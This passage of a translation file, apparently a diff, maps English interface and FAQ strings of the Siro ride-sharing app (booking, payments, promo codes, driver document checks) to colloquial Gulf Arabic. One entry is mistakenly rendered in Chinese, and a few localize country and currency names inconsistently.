\\n Android [https://play.google.com/store/apps/details?id=com.mobileapp.store.ride]\\n iOS [https://getapp.cc/app/6458734951]\\n\\n I look forward to keeping you close during my adventure!\\n\\n Siro ,": "Estimado ,\\n\\n 🚀 ¡Acabo de comenzar un viaje emocionante y me gustaría compartir los detalles de mi trayecto y mi ubicación actual contigo en tiempo real! Por favor, descarga la aplicación Siro. Te permitirá ver los detalles de mi viaje y mi última ubicación.\\n\\n 👉 Enlace de descarga: \\n Android [https://play.google.com/store/apps/details?id=com.mobileapp.store.ride]\\n iOS [https://getapp.cc/app/6458734951]\\n\\n ¡Espero mantenerte cerca durante mi aventura!\\n\\n Siro ,", - "Send Siro app to him": "أرسل له تطبيق سيرو", - "No passenger found for the given phone number": "ما لقينا راكب بهالرقم", - "No user found for the given phone number": "ما لقينا مستخدم بهالرقم", - "This price is": "هالسعر هو", - "Work": "الدوام", - "Add Home": "إضافة البيت", - "Notifications": "الإشعارات", - "💳 Pay with Credit Card": "💳 ادفع بالبطاقة", - "⚠️ You need to choose an amount!": "⚠️ لازم تختار مبلغ!", - "💰 Pay with Wallet": "💰 ادفع بالمحفظة", - "You must restart the app to change the language.": "لازم تعيد تشغيل التطبيق لتغيير اللغة.", - "joined": "انضم", - "Driver joined the channel": "الكابتن دخل الشات", - "Driver left the channel": "الكابتن طلع من الشات", - "Call Page": "صفحة الاتصال", - "Call Left": "مكالمات باقية", - " Next as Cash !": " التالي كاش!", - "To use Wallet charge it": "عشان تستخدم المحفظة اشحنها", - "We are searching for the nearest driver to you": "ندور لك أقرب كابتن", - "Best choice for cities": "أفضل خيار للمدن", - "Rayeh Gai: Round trip service for convenient travel between cities, easy and reliable.": "رايح جاي: خدمة مريحة للسفر بين المدن.", - "This trip is for women only": "المشوار للنساء فقط", - "Total budgets on month": "ميزانية الشهر", - "You have call from driver": "عندك اتصال من الكابتن", - "Siro": "سيرو", - "passenger agreement": "اتفاقية الراكب", - "To become a passenger, you must review and agree to the ": "عشان تصير راكب، لازم توافق على ", - "agreement subtitle": "للمتابعة، وافق على الشروط والخصوصية.", - "terms of use": "شروط الاستخدام", - " and acknowledge our Privacy Policy.": " وتقر بسياسة الخصوصية.", - "and acknowledge our": "وتقر بـ", - "privacy policy": "سياسة الخصوصية.", - "i agree": "موافق", - "Driver already has 2 trips within the specified period.": "الكابتن عنده مشوارين بهالوقت.", - "The invitation was sent successfully": "أرسلنا الدعوة", - "You should select your country": "اختر دولتك", - "Scooter": "سكوتر", - "A trip with a prior reservation, allowing you to choose the best captains and cars.": "مشوار بحجز مسبق، يمديك تختار أفضل الكباتن والسيارات.", - "Mishwar Vip": "مشوار VIP", - "The driver waiting you in picked location .": "الكابتن ينتظرك في الموقع.", - "About Us": "من نحن", - "You can change the vibration feedback for all buttons": "تقدر تغير اهتزاز الأزرار", - "Most Secure Methods": "طرق آمنة", - "In-App VOIP Calls": "مكالمات صوتية بالتطبيق", - "Recorded Trips for Safety": "مشاوير مسجلة للأمان", - "\\nWe also prioritize affordability, offering competitive pricing to make your rides accessible.": "\\nونهتم بالأسعار تكون مناسبة.", - "Siro is a ride-sharing app designed with your safety and affordability in mind. We connect you with reliable drivers in your area, ensuring a convenient and stress-free travel experience.\\n\\nHere are some of the key features that set us apart:": "سيرو تطبيق مشاوير مصمم لأمانك وميزانيتك. نوصلك بكباتن ثقة.", - "Sign In by Apple": "دخول بـ Apple", - "Sign In by Google": "دخول بـ Google", - "How do I request a ride?": "كيف أطلب مشوار؟", - "Step-by-step instructions on how to request a ride through the Siro app.": "خطوات طلب مشوار بتطبيق سيرو.", - "What types of vehicles are available?": "وش أنواع السيارات؟", - "Siro offers a variety of vehicle options to suit your needs, including economy, comfort, and luxury. Choose the option that best fits your budget and passenger count.": "نوفر خيارات كثيرة مثل الاقتصادية والمريحة والفخمة.", - "How can I pay for my ride?": "كيف أدفع؟", - "Siro offers multiple payment methods for your convenience. Choose between cash payment or credit/debit card payment during ride confirmation.": "تقدر تدفع كاش أو بالبطاقة.", - "Can I cancel my ride?": "أقدر ألغي المشوار؟", - "Yes, you can cancel your ride under certain conditions (e.g., before driver is assigned). See the Siro cancellation policy for details.": "是的,您可以在特定条件下(例如分配司机前)取消行程。详情请参阅 Siro 取消政策。", - "Driver Registration & Requirements": "تسجيل الكباتن", - "How can I register as a driver?": "كيف أسجل كابتن؟", - "What are the requirements to become a driver?": "وش الشروط؟", - "Visit our website or contact Siro support for information on driver registration and requirements.": "زور موقعنا أو كلم الدعم.", - "Siro provides in-app chat functionality to allow you to communicate with your driver or passenger during your ride.": "عندنا شات داخل التطبيق.", - "Siro prioritizes your safety. We offer features like driver verification, in-app trip tracking, and emergency contact options.": "سلامتك تهمنا. نتحقق من الكباتن وعندنا تتبع للمشوار.", - "Frequently Questions": "الأسئلة الشائعة", - "User does not exist.": "المستخدم مو موجود.", - "We need your phone number to contact you and to help you.": "نحتاج رقمك للتواصل.", - "You will recieve code in sms message": "بيجيك كود في رسالة", - "Please enter": "الرجاء إدخال", - "We need your phone number to contact you and to help you receive orders.": "نحتاج رقمك عشان تستقبل طلبات.", - "The full name on your criminal record does not match the one on your driver's license. Please verify and provide the correct documents.": "الاسم في خلو السوابق ما يطابق الرخصة.", - "The national number on your driver's license does not match the one on your ID document. Please verify and provide the correct documents.": "رقم الهوية في الرخصة ما يطابق الهوية.", - "Capture an Image of Your Criminal Record": "صور صحيفة خلو السوابق", - "IssueDate": "تاريخ الإصدار", - "Capture an Image of Your car license front": "صور استمارة السيارة (وجه)", - "Capture an Image of Your ID Document front": "صور الهوية (وجه)", - "NationalID": "رقم الهوية/الإقامة", - "You can share the Siro App with your friends and earn rewards for rides they take using your code": "شارك التطبيق مع ربعك واكسب مكافآت.", - "FullName": "الاسم الكامل", - "No invitation found yet!": "ما فيه دعوات!", - "InspectionResult": "نتيجة الفحص", - "Criminal Record": "خلو السوابق", - "The email or phone number is already registered.": "الإيميل أو الرقم مسجل.", - "To become a ride-sharing driver on the Siro app, you need to upload your driver's license, ID document, and car registration document. Our AI system will instantly review and verify their authenticity in just 2-3 minutes. If your documents are approved, you can start working as a driver on the Siro app. Please note, submitting fraudulent documents is a serious offense and may result in immediate termination and legal consequences.": "عشان تصير كابتن، ارفع رخصتك والهوية والاستمارة. النظام بيراجعها بسرعة.", - "Documents check": "فحص المستندات", - "Driver's License": "رخصة القيادة", - "for your first registration!": "لتسجيلك الأول!", - "Get it Now!": "خذها الحين!", - "before": "قبل", - "Code not approved": "الكود مرفوض", - "3000 LE": "3000 ر.س", - "Do you have an invitation code from another driver?": "عندك كود دعوة من كابتن ثاني؟", - "Paste the code here": "الصق الكود", - "No, I don't have a code": "لا، ما عندي", - "Audio uploaded successfully.": "تم رفع الصوت.", - "Perfect for passengers seeking the latest car models with the freedom to choose any route they desire": "مثالي للي يبون سيارات جديدة وحرية اختيار الطريق", - "Share this code with your friends and earn rewards when they use it!": "شارك الكود واكسب!", - "Enter phone": "دخل الرقم", - "complete, you can claim your gift": "اكتمل، اطلب هديتك", - "When": "متى", - "Enter driver's phone": "رقم الكابتن", - "Send Invite": "إرسال دعوة", - "Show Invitations": "عرض الدعوات", - "License Type": "نوع الرخصة", - "National Number": "رقم الهوية", - "Name (Arabic)": "الاسم (عربي)", - "Name (English)": "الاسم (إنجليزي)", - "Address": "العنوان", - "Issue Date": "تاريخ الإصدار", - "Expiry Date": "تاريخ الانتهاء", - "License Categories": "فئات الرخصة", - "driver_license": "رخصة_قيادة", - "Capture an Image of Your Driver License": "صور رخصتك", - "ID Documents Back": "ظهر الهوية", - "National ID": "رقم الهوية", - "Occupation": "المهنة", - "Religion": "الديانة", - "Full Name (Marital)": "الاسم الكامل", - "Expiration Date": "تاريخ الانتهاء", - "Capture an Image of Your ID Document Back": "صور ظهر الهوية", - "ID Documents Front": "وجه الهوية", - "First Name": "الاسم الأول", - "CardID": "رقم البطاقة", - "Vehicle Details Front": "تفاصيل المركبة (أمام)", - "Plate Number": "رقم اللوحة", - "Owner Name": "اسم المالك", - "Vehicle Details Back": "تفاصيل المركبة (خلف)", - "Make": "الشركة المصنعة", - "Model": "الموديل", - "Year": "السنة", - "Chassis": "رقم الشاصي", - "Color": "اللون", - "Displacement": "سعة المحرك", - "Fuel": "الوقود", - "Tax Expiry Date": "تاريخ انتهاء الضريبة", - "Inspection Date": "تاريخ الفحص الدوري", - "Capture an Image of Your car license back": "صور استمارة السيارة (قفا)", - "Capture an Image of Your Driver's License": "صور رخصتك", - "Sign in with Google for easier email and name entry": "ادخل بقوقل أسهل", - "You will choose allow all the time to be ready receive orders": "اختر 'السماح طوال الوقت' لاستقبال الطلبات", - "Get to your destination quickly and easily.": "وصل وجهتك بسرعة وسهولة.", - "Enjoy a safe and comfortable ride.": "استمتع بمشوار آمن ومريح.", - "Choose Language": "اختر اللغة", - "Pay with Wallet": "ادفع بالمحفظة", - "Invalid MPIN": "رمز خطأ", - "Invalid OTP": "كود غلط", - "Enter your email address": "دخل إيميلك", - "Please enter Your Email.": "دخل الإيميل لاهنت.", - "Enter your phone number": "دخل رقمك", - "Please enter your phone number.": "دخل رقم الجوال.", - "Please enter Your Password.": "دخل كلمة المرور.", - "if you dont have account": "إذا ما عندك حساب", - "Register": "تسجيل", - "Accept Ride's Terms & Review Privacy Notice": "الموافقة على الشروط", - "By selecting 'I Agree' below, I have reviewed and agree to the Terms of Use and acknowledge the Privacy Notice. I am at least 18 years of age.": "باختيار 'أوافق'، أقر بأني قريت الشروط وعمري 18 وفوق.", - "First name": "الاسم الأول", - "Enter your first name": "دخل اسمك", - "Please enter your first name.": "دخل الاسم الأول.", - "Last name": "اسم العائلة", - "Enter your last name": "دخل اسم العائلة", - "Please enter your last name.": "دخل اسم العائلة.", - "City": "المدينة", - "Please enter your City.": "دخل مدينتك.", - "Verify Email": "تأكيد الإيميل", - "We sent 5 digit to your Email provided": "أرسلنا 5 أرقام لإيميلك", - "5 digit": "5 أرقام", - "3 digit": "3 أرقام", - "Send Verification Code": "أرسل كود التحقق", - "Your Ride Duration is ": "مدة المشوار: ", - "You will be thier in": "بتوصل خلال", - "You trip distance is": "مسافة المشوار:", - "Fee is": "السعر:", - "From : ": "من: ", - "To : ": "إلى: ", - "Add Promo": "ضيف خصم", - "Confirm Selection": "تأكيد الاختيار", - "distance is": "المسافة هي", - "Privacy Policy": "سياسة الخصوصية", - "Siro LLC": "شركة سيرو", - "Syria's pioneering ride-sharing service, proudly developed by Arabian and local owners. We prioritize being near you – both our valued passengers and our dedicated captains.": "خدمة مشاركة مشاوير رائدة في الخليج.", - "Siro is the first ride-sharing app in Syria, designed to connect you with the nearest drivers for a quick and convenient travel experience.": "سيرو يوصلك بأقرب الكباتن.", - "Why Choose Siro?": "ليش سيرو؟", - "Closest to You": "الأقرب لك", - "We connect you with the nearest drivers for faster pickups and quicker journeys.": "نوصلك بأقرب كباتن عشان ما تتأخر.", - "Uncompromising Security": "أمان تام", - "Lady Captains Available": "كباتن سيدات", - "Recorded Trips (Voice & AI Analysis)": "مشاوير مسجلة", - "Fastest Complaint Response": "استجابة سريعة للشكاوى", - "Our dedicated customer service team ensures swift resolution of any issues.": "فريقنا يحل مشاكلك بسرعة.", - "Affordable for Everyone": "أسعار تناسب الكل", - "Frequently Asked Questions": "الأسئلة المتكررة", - "Getting Started": "البداية", - "Simply open the Siro app, enter your destination, and tap \\\"Request Ride\\\". The app will connect you with a nearby driver.": "افتح التطبيق، حدد وجهتك، واطلب المشوار.", - "Vehicle Options": "خيارات السيارات", - "Siro offers a variety of options including Economy, Comfort, and Luxury to suit your needs and budget.": "نوفر خيارات تناسبك.", - "Payments": "الدفع", - "You can pay for your ride using cash or credit/debit card. You can select your preferred payment method before confirming your ride.": "ادفع كاش أو بطاقة.", - "Ride Management": "إدارة المشاوير", - "Yes, you can cancel your ride, but please note that cancellation fees may apply depending on how far in advance you cancel.": "تقدر تلغي، بس يمكن فيه رسوم.", - "For Drivers": "للكباتن", - "Driver Registration": "تسجيل الكابتن", - "To register as a driver or learn about the requirements, please visit our website or contact Siro support directly.": "للتسجيل زر موقعنا.", - "Visit Website/Contact Support": "الموقع / الدعم", - "Close": "إغلاق", - "We are searching for the nearest driver": "ندور أقرب كابتن", - "Communication": "التواصل", - "How do I communicate with the other party (passenger/driver)?": "كيف أتواصل؟", - "You can communicate with your driver or passenger through the in-app chat feature once a ride is confirmed.": "عن طريق الشات في التطبيق.", - "Safety & Security": "الأمان", - "What safety measures does Siro offer?": "وش إجراءات الأمان؟", - "Siro offers various safety features including driver verification, in-app trip tracking, emergency contact options, and the ability to share your trip status with trusted contacts.": "تحقق من الكابتن وتتبع المشوار.", - "Enjoy competitive prices across all trip options, making travel accessible.": "أسعار منافسة.", - "Variety of Trip Choices": "خيارات متنوعة", - "Choose the trip option that perfectly suits your needs and preferences.": "اختر اللي يناسبك.", - "Your Choice, Our Priority": "اختيارك يهمنا", - "Because we are near, you have the flexibility to choose the ride that works best for you.": "لك الحرية في الاختيار.", - "duration is": "المدة:", - "Setting": "إعدادات", - "Find answers to common questions": "إجابات الأسئلة", - "I don't need a ride anymore": "ما عاد أحتاج مشوار", - "I was just trying the application": "أجرب التطبيق بس", - "No driver accepted my request": "ماحد قبل طلبي", - "I added the wrong pick-up/drop-off location": "الموقع غلط", - "I don't have a reason": "ما عندي سبب", - "Can we know why you want to cancel Ride ?": "ليش تبي تلغي؟", - "Add Payment Method": "إضافة طريقة دفع", - "Ride Wallet": "محفظة المشوار", - "Payment Method": "طريقة الدفع", - "Type here Place": "اكتب المكان", - "Are You sure to ride to": "متأكد تبي تروح لـ", - "Confirm": "تأكيد", - "You are Delete": "أنت بتحذف", - "Deleted": "انحذف", - "You Dont Have Any places yet !": "ما عندك أماكن!", - "From : Current Location": "من: موقعك الحالي", - "My Cared": "بطاقاتي", - "Add Card": "إضافة بطاقة", - "Add Credit Card": "إضافة بطاقة ائتمان", - "Please enter the cardholder name": "اسم صاحب البطاقة", - "Please enter the expiry date": "تاريخ الانتهاء", - "Please enter the CVV code": "كود CVV", - "Go To Favorite Places": "للأماكن المفضلة", - "Go to this Target": "روح للهدف", - "My Profile": "ملفي", - "Are you want to go to this site": "تبي تروح هنا؟", - "MyLocation": "موقعي", - "my location": "موقعي", - "Target": "الهدف", - "You Should choose rate figure": "لازم تختار تقييم", - "Login Captin": "دخول الكابتن", - "Register Captin": "تسجيل كابتن", - "Send Verfication Code": "أرسل الرمز", - "KM": "كم", - "End Ride": "إنهاء المشوار", - "Minute": "دقيقة", - "Go to passenger Location now": "رح لموقع الراكب الحين", - "Duration of the Ride is ": "مدة المشوار: ", - "Distance of the Ride is ": "مسافة المشوار: ", - "Name of the Passenger is ": "اسم الراكب: ", - "Hello this is Captain": "هلا، معك الكابتن", - "Start the Ride": "ابدأ المشوار", - "Please Wait If passenger want To Cancel!": "انتظر يمكن الراكب يلغي!", - "Total Duration:": "المدة الكلية:", - "Active Duration:": "المدة الفعلية:", - "Waiting for Captin ...": "بانتظار الكابتن...", - "Age is ": "العمر: ", - "Rating is ": "التقييم: ", - " to arrive you.": " عشان يوصلك.", - "Tariff": "التعرفة", - "Settings": "الإعدادات", - "Feed Back": "رأيك", - "Please enter a valid 16-digit card number": "دخل رقم بطاقة صح (16 رقم)", - "Add Phone": "إضافة رقم", - "Please enter a phone number": "دخل رقم جوال", - "You dont Add Emergency Phone Yet!": "ما ضفت رقم طوارئ!", - "You will arrive to your destination after ": "بتوصل بعد ", - "You can cancel Ride now": "تقدر تلغي الحين", - "You Can cancel Ride After Captain did not come in the time": "تقدر تلغي إذا تأخر الكابتن", - "If you in Car Now. Press Start The Ride": "إذا ركبت، اضغط ابدأ المشوار", - "You Dont Have Any amount in": "ما عندك رصيد في", - "Wallet!": "المحفظة!", - "You Have": "عندك", - "Save Credit Card": "حفظ البطاقة", - "Show Promos": "عرض الخصومات", - "10 and get 4% discount": "10 وخذ خصم 4%", - "20 and get 6% discount": "20 وخذ خصم 6%", - "40 and get 8% discount": "40 وخذ خصم 8%", - "100 and get 11% discount": "100 وخذ خصم 11%", - "Pay with Your PayPal": "ادفع بـ PayPal", - "You will choose one of above !": "اختر واحد من اللي فوق!", - "Edit Profile": "تعديل الملف", - "Copy this Promo to use it in your Ride!": "انسخ الكود واستخدمه!", - "To change some Settings": "لتغيير الإعدادات", - "Order Request Page": "صفحة الطلب", - "Rouats of Trip": "مسارات المشوار", - "Passenger Name is ": "اسم الراكب: ", - "Total From Passenger is ": "المجموع من الراكب: ", - "Duration To Passenger is ": "الوقت للراكب: ", - "Distance To Passenger is ": "المسافة للراكب: ", - "Total For You is ": "لك: ", - "Distance is ": "المسافة: ", - " KM": " كم", - "Duration of Trip is ": "مدة المشوار: ", - " Minutes": " دقائق", - "Apply Order": "قبول الطلب", - "Refuse Order": "رفض الطلب", - "Rate Captain": "قيم الكابتن", - "Enter your Note": "اكتب ملاحظة", - "Type something...": "اكتب شي...", - "Submit rating": "إرسال التقييم", - "Rate Passenger": "قيم الراكب", - "Ride Summary": "ملخص المشوار", - "welcome_message": "أهلاً بك في سيرو!", - "app_description": "سيرو تطبيق آمن وموثوق.", - "get_to_destination": "وصل وجهتك بسرعة.", - "get_a_ride": "مع سيرو، الموتر يجيك بدقايق.", - "safe_and_comfortable": "استمتع بمشوار آمن.", - "committed_to_safety": "نهتم بسلامتك.", - "your ride is Accepted": "مشوارك انقبل", - "Driver is waiting at pickup.": "الكابتن ينتظرك عند نقطة الركوب.", - "Driver is on the way": "الكابتن بالطريق", - "Contact Options": "خيارات التواصل", - "Send a custom message": "أرسل رسالة", - "Type your message": "اكتب رسالتك", - "I will go now": "بمشي الحين", - "You Have Tips": "عندك إكرامية", - " tips\\nTotal is": " إكرامية\\nالمجموع", - "Your fee is ": "أجرتك: ", - "Do you want to pay Tips for this Driver": "تبي تعطي الكابتن إكرامية؟", - "Tip is ": "الإكرامية: ", - "Are you want to wait drivers to accept your order": "تبي تنتظر الكباتن؟", - "This price is fixed even if the route changes for the driver.": "السعر ثابت حتى لو تغير الطريق.", - "The price may increase if the route changes.": "ممكن يزيد السعر لو تغير الطريق.", - "The captain is responsible for the route.": "الكابتن مسؤول عن الطريق.", - "We are search for nearst driver": "ندور أقرب كابتن", - "Your order is being prepared": "طلبك يتجهز", - "The drivers are reviewing your request": "الكباتن يشوفون طلبك", - "Your order sent to drivers": "أرسلنا طلبك للكباتن", - "You can call or record audio of this trip": "تقدر تتصل أو تسجل صوت", - "The trip has started! Feel free to contact emergency numbers, share your trip, or activate voice recording for the journey": "بدأ المشوار! تقدر تكلم الطوارئ، تشارك رحلتك، أو تسجل صوت.", - "Camera Access Denied.": "ما في وصول للكاميرا.", - "Open Settings": "افتح الإعدادات", - "GPS Required Allow !.": "شغل الـ GPS!", - "Your Account is Deleted": "انحذف حسابك", - "Are you sure to delete your account?": "متأكد تبي تحذف حسابك؟", - "Your data will be erased after 2 weeks\\nAnd you will can't return to use app after 1 month ": "بتمسح بياناتك بعد أسبوعين\\nوما تقدر ترجع بعد شهر", - "Enter Your First Name": "دخل اسمك الأول", - "Are you Sure to LogOut?": "بتسجل خروج؟", - "Email Wrong": "الإيميل غلط", - "Email you inserted is Wrong.": "الإيميل اللي كتبته غلط.", - "You have finished all times ": "خلصت محاولاتك", - "if you want help you can email us here": "تبي مساعدة؟ راسلنا", - "Thanks": "شكراً", - "Email Us": "راسلنا", - "I cant register in your app in face detection ": "مو قادر أسجل بسبب بصمة الوجه", - "Hi": "هلا", - "No face detected": "ما تعرفنا على الوجه", - "Image detecting result is ": "نتيجة الفحص: ", - "from 3 times Take Attention": "من 3 مرات، انتبه", - "Be sure for take accurate images please\\nYou have": "تأكد إن الصورة واضحة\\nعندك", - "image verified": "الصورة تمام", - "Next": "التالي", - "There is no help Question here": "ما في سؤال مساعدة", - "You dont have Points": "ما عندك نقاط", - "You Are Stopped For this Day !": "توقفت اليوم!", - "You must be charge your Account": "لازم تشحن حسابك", - "You Refused 3 Rides this Day that is the reason \\nSee you Tomorrow!": "رفضت 3 مشاوير اليوم.\\nنشوفك بكره!", - "Recharge my Account": "شحن حسابي", - "Ok , See you Tomorrow": "تمام، أشوفك بكره", - "You are Stopped": "أنت موقوف", - "Connected": "متصل", - "Not Connected": "غير متصل", - "Your are far from passenger location": "أنت بعيد عن الراكب", - "go to your passenger location before\\nPassenger cancel trip": "رح لموقع الراكب قبل يكنسل", - "You will get cost of your work for this trip": "بتاخذ حق مشوارك", - " in your wallet": " بمحفظتك", - "you gain": "كسبت", - "Order Cancelled by Passenger": "الطلب تكنسل من الراكب", - "Feedback data saved successfully": "حفظنا تقييمك", - "No Promo for today .": "ما في عروض اليوم.", - "Select your destination": "اختر وجهتك", - "Search for your Start point": "ابحث عن نقطة البداية", - "Search for waypoint": "ابحث عن نقطة توقف", - "Current Location": "الموقع الحالي", - "Add Location 1": "إضافة موقع 1", - "You must Verify email !.": "لازم تأكد الإيميل!", - "Cropper": "قص الصورة", - "Saved Sucssefully": "تم الحفظ", - "Select Date": "اختر التاريخ", - "Birth Date": "تاريخ الميلاد", - "Ok": "تم", - "the 500 points equal 30 JOD": "الـ 500 نقطة تساوي 30 ر.س", - "the 500 points equal 30 JOD for you \\nSo go and gain your money": "الـ 500 نقطة بـ 30 ر.س لك\\nروح اكسب فلوسك", - "token updated": "تحدث الرمز", - "Add Location 2": "إضافة موقع 2", - "Add Location 3": "إضافة موقع 3", - "Add Location 4": "إضافة موقع 4", - "Waiting for your location": "ننتظر موقعك", - "Search for your destination": "ابحث عن وجهتك", - "Hi! This is": "هلا! هذا", - " I am using": " أنا استخدم", - " to ride with": " عشان اركب مع", - " as the driver.": " ككابتن.", - "is driving a ": "يسوق ", - " with license plate ": " لوحتها ", - " I am currently located at ": " أنا حالياً في ", - "Please go to Car now ": "روح للسيارة الحين", - "You will receive a code in WhatsApp Messenger": "بيجيك كود ع الواتساب", - "If you need assistance, contact us": "تحتاج مساعدة؟ كلمنا", - "Promo Ended": "انتهى العرض", - "Enter the promo code and get": "دخل الكود واحصل على", - "DISCOUNT": "خصم", - "No wallet record found": "ما لقينا سجل للمحفظة", - "for": "لـ", - "Siro is the safest ride-sharing app that introduces many features for both captains and passengers. We offer the lowest commission rate of just 8%, ensuring you get the best value for your rides. Our app includes insurance for the best captains, regular maintenance of cars with top engineers, and on-road services to ensure a respectful and high-quality experience for all users.": "سيرو أأمن تطبيق مشاوير بميزات كثيرة. عمولتنا 8% بس. عندنا تأمين وصيانة.", - "You can contact us during working hours from 12:00 - 19:00.": "كلمناه من 12 لـ 7.", - "Choose a contact option": "اختر طريقة تواصل", - "Work time is from 12:00 - 19:00.\\nYou can send a WhatsApp message or email.": "الدوام من 12 لـ 7.\\nأرسل واتساب أو إيميل.", - "Promo code copied to clipboard!": "نسخت الكود!", - "Copy Code": "نسخ الكود", - "Your invite code was successfully applied!": "تم تطبيق كود الدعوة!", - "Payment Options": "خيارات الدفع", - "wait 1 minute to receive message": "انتظر دقيقة توصلك الرسالة", - "You have copied the promo code.": "نسخت كود الخصم.", - "Select Payment Amount": "اختر المبلغ", - "The promotion period has ended.": "خلصت فترة العرض.", - "Promo Code Accepted": "انقبل الكود", - "Tap on the promo code to copy it!": "اضغط ع الكود عشان تنسخه!", - "Lowest Price Achieved": "أقل سعر", - "Cannot apply further discounts.": "ما تقدر تخصم أكثر.", - "Promo Already Used": "الكود مستخدم", - "Invitation Used": "الدعوة مستخدمة", - "You have already used this promo code.": "استخدمت هالكود من قبل.", - "Insert Your Promo Code": "حط كود الخصم", - "Enter promo code here": "اكتب الكود هنا", - "Please enter a valid promo code": "دخل كود صحيح", - "Awfar Car": "سيارة توفير", - "Old and affordable, perfect for budget rides.": "اقتصادية ومناسبة للميزانية.", - " If you need to reach me, please contact the driver directly at": " إذا بغيتني، كلم الكابتن على", - "No Car or Driver Found in your area.": "ما لقينا سيارة أو كابتن حولك.", - "Please Try anther time ": "جرب وقت ثاني", - "There no Driver Aplly your order sorry for that ": "ماحد قبل طلبك، المعذرة", - "Trip Cancelled": "المشوار تكنسل", - "The Driver Will be in your location soon .": "الكابتن بيوصلك قريب.", - "The distance less than 500 meter.": "المسافة أقل من 500 متر.", - "Promo End !": "انتهى العرض!", - "There is no notification yet": "ما في إشعارات", - "Use Touch ID or Face ID to confirm payment": "استخدم البصمة لتأكيد الدفع", - "Contact us for any questions on your order.": "تواصل معنا لو عندك سؤال.", - "Pyament Cancelled .": "إلغاء الدفع.", - "type here": "اكتب هنا", - "Scan Driver License": "امسح الرخصة", - "Please put your licence in these border": "حط الرخصة داخل الإطار", - "Camera not initialized yet": "الكاميرا لسه", - "Take Image": "صور", - "AI Page": "صفحة الذكاء الاصطناعي", - "Take Picture Of ID Card": "صور الهوية", - "Take Picture Of Driver License Card": "صور الرخصة", - "We are process picture please wait ": "نعالج الصورة، انتظر شوي", - "There is no data yet.": "ما في بيانات.", - "Name :": "الاسم:", - "Drivers License Class: ": "فئة الرخصة:", - "Document Number: ": "رقم الوثيقة:", - "Address: ": "العنوان:", - "Height: ": "الطول:", - "Expiry Date: ": "تاريخ الانتهاء:", - "Date of Birth: ": "تاريخ الميلاد:", - "You can't continue with us .\\nYou should renew Driver license": "ما تقدر تكمل معنا.\\nلازم تجدد الرخصة", - "Detect Your Face ": "تحقق من وجهك", - "Go to next step\\nscan Car License.": "الخطوة الجاية\\nمسح الاستمارة.", - "Name in arabic": "الاسم بالعربي", - "Drivers License Class": "فئة الرخصة", - "Selected Date": "التاريخ المحدد", - "Select Time": "اختر الوقت", - "Selected Time": "الوقت المحدد", - "Selected Date and Time": "التاريخ والوقت", - "Lets check Car license ": "نشيك الاستمارة", - "Car": "سيارة", - "Plate": "لوحة", - "Rides": "مشاوير", - "Selected driver": "الكابتن المختار", - "Lets check License Back Face": "نشيك ظهر الرخصة", - "Car License Card": "استمارة السيارة", - "No image selected yet": "ما اخترت صورة", - "Made :": "الصنع:", - "model :": "الموديل:", - "VIN :": "رقم الهيكل:", - "year :": "السنة:", - "ُExpire Date": "تاريخ الانتهاء", - "Login Driver": "دخول كابتن", - "Password must br at least 6 character.": "كلمة المرور 6 حروف ع الأقل.", - "if you don't have account": "ما عندك حساب", - "Here recorded trips audio": "تسجيلات المشاوير هنا", - "Register as Driver": "سجل كابتن", - "By selecting \\\"I Agree\\\" below, I have reviewed and agree to the Terms of Use and acknowledge the ": "باختيار \\\"أوافق\\\"، أكون وافقت على الشروط و ", - "Log Out Page": "صفحة الخروج", - "Log Off": "تسجيل خروج", - "Register Driver": "تسجيل كابتن", - "Verify Email For Driver": "تأكيد إيميل الكابتن", - "Admin DashBoard": "لوحة التحكم", - "Your name": "اسمك", - "your ride is applied": "انطلب مشوارك", - "H and": "س و", - "m": "د", - "We search nearst Driver to you": "ندور لك أقرب كابتن", - "please wait till driver accept your order": "انتظر الكابتن يقبل", - "No accepted orders? Try raising your trip fee to attract riders.": "ماحد قبل؟ ارفع السعر.", - "You should select one": "لازم تختار واحد", - "The driver accept your order for": "الكابتن قبل بـ", - "The driver on your way": "الكابتن جايك", - "Total price from ": "السعر الكلي من ", - "Order Details Siro": "تفاصيل الطلب", - "Selected file:": "الملف المختار:", - "Your trip cost is": "تكلفة مشوارك:", - "this will delete all files from your device": "بيمسح كل الملفات من جهازك", - "Exclusive offers and discounts always with the Siro app": "عروض حصرية دائماً مع سيرو", - "Submit Question": "أرسل سؤال", - "Please enter your Question.": "اكتب سؤالك.", - "Help Details": "تفاصيل المساعدة", - "No trip yet found": "ما لقينا مشوار", - "No Response yet.": "ما في رد للحين.", - " You Earn today is ": " دخلك اليوم: ", - " You Have in": " عندك في", - "Total points is ": "مجموع النقاط ", - "Total Connection Duration:": "مدة الاتصال:", - "Passenger name : ": "اسم الراكب: ", - "Cost Of Trip IS ": "تكلفة المشوار: ", - "Arrival time": "وقت الوصول", - "arrival time to reach your point": "وقت الوصول لنقطتك", - "For Siro and scooter trips, the price is calculated dynamically. For Comfort trips, the price is based on time and distance": "لسيرو والسكوتر السعر متغير. للراحة السعر بالوقت والمسافة.", - "Hello this is Driver": "هلا، أنا الكابتن", - "Is the Passenger in your Car ?": "الراكب معك؟", - "Please wait for the passenger to enter the car before starting the trip.": "انتظر الراكب يركب قبل تبدأ.", - "No ,still Waiting.": "لا، لسه أنتظر.", - "I arrive you": "وصلت", - "I Arrive your site": "وصلت موقعك", - "You are not in near to passenger location": "أنت بعيد عن الراكب", - "please go to picker location exactly": "رح لموقع الركوب بالضبط", - "You Can Cancel Trip And get Cost of Trip From": "تقدر تلغي وتأخذ حقك من", - "Are you sure to cancel?": "متأكد تبي تلغي؟", - "Insert Emergincy Number": "دخل رقم الطوارئ", - "Best choice for comfort car and flexible route and stops point": "أفضل خيار لسيارة مريحة ومسار مرن", - "Insert": "إدخال", - "This is for scooter or a motorcycle.": "هذا للسكوتر أو الدباب.", - "This trip goes directly from your starting point to your destination for a fixed price. The driver must follow the planned route": "مشوار مباشر بسعر ثابت. الكابتن يلتزم بالمسار.", - "You can decline a request without any cost": "تقدر ترفض بدون تكلفة", - "Perfect for adventure seekers who want to experience something new and exciting": "لمحبي المغامرة", - "My current location is:": "موقعي الحالي:", - "and I have a trip on": "وعندي مشوار على", - "App with Passenger": "التطبيق مع الراكب", - "You will be pay the cost to driver or we will get it from you on next trip": "بتدفع للكابتن أو نأخذها منك المشوار الجاي", - "Trip has Steps": "الرحلة فيها وقفات", - "Distance from Passenger to destination is ": "المسافة للوجهة: ", - "price is": "السعر:", - "This ride type does not allow changes to the destination or additional stops": "ما تقدر تغير الوجهة أو توقف", - "This price may be changed": "السعر ممكن يتغير", - "No SIM card, no problem! Call your driver directly through our app. We use advanced technology to ensure your privacy.": "ما عندك 